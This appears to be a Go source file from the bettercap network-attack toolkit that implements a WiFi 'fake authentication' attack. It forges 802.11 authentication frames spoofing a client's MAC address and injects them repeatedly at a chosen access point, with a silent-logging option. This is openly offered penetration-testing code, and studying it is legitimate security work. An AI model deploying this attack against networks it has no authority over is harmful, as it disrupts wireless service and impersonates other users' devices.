mirror of
https://github.com/bettercap/bettercap.git
synced 2024-11-08 06:30:13 -08:00
72 lines
1.5 KiB
Go
72 lines
1.5 KiB
Go
package wifi
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"net"
|
|
|
|
"github.com/bettercap/bettercap/v2/network"
|
|
"github.com/bettercap/bettercap/v2/packets"
|
|
)
|
|
|
|
func (mod *WiFiModule) isFakeAuthSilent() bool {
|
|
if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil {
|
|
mod.Warning("%v", err)
|
|
} else {
|
|
mod.csaSilent = is
|
|
}
|
|
return mod.csaSilent
|
|
}
|
|
|
|
func (mod *WiFiModule) sendFakeAuthPacket(bssid, client net.HardwareAddr) {
|
|
err, pkt := packets.NewDot11Auth(client, bssid, 0)
|
|
if err != nil {
|
|
mod.Error("could not create authentication packet: %s", err)
|
|
return
|
|
}
|
|
for i := 0; i < 32; i++ {
|
|
mod.injectPacket(pkt)
|
|
}
|
|
}
|
|
|
|
func (mod *WiFiModule) startFakeAuth(bssid, client net.HardwareAddr) error {
|
|
// if not already running, temporarily enable the pcap handle
|
|
// for packet injection
|
|
if !mod.Running() {
|
|
if err := mod.Configure(); err != nil {
|
|
return err
|
|
}
|
|
defer mod.handle.Close()
|
|
}
|
|
|
|
var ap *network.AccessPoint = nil
|
|
|
|
for _, _ap := range mod.Session.WiFi.List() {
|
|
if bytes.Equal(_ap.HW, bssid) {
|
|
ap = _ap
|
|
}
|
|
}
|
|
|
|
if ap == nil {
|
|
return fmt.Errorf("%s is an unknown BSSID", bssid.String())
|
|
}
|
|
|
|
mod.writes.Add(1)
|
|
go func() {
|
|
defer mod.writes.Done()
|
|
|
|
if mod.Running() {
|
|
logger := mod.Info
|
|
if mod.isFakeAuthSilent() {
|
|
logger = mod.Debug
|
|
}
|
|
logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String())
|
|
// send the beacon frame with channel switch announce element id
|
|
mod.onChannel(ap.Channel, func() {
|
|
mod.sendFakeAuthPacket(bssid, client)
|
|
})
|
|
}
|
|
}()
|
|
return nil
|
|
}
|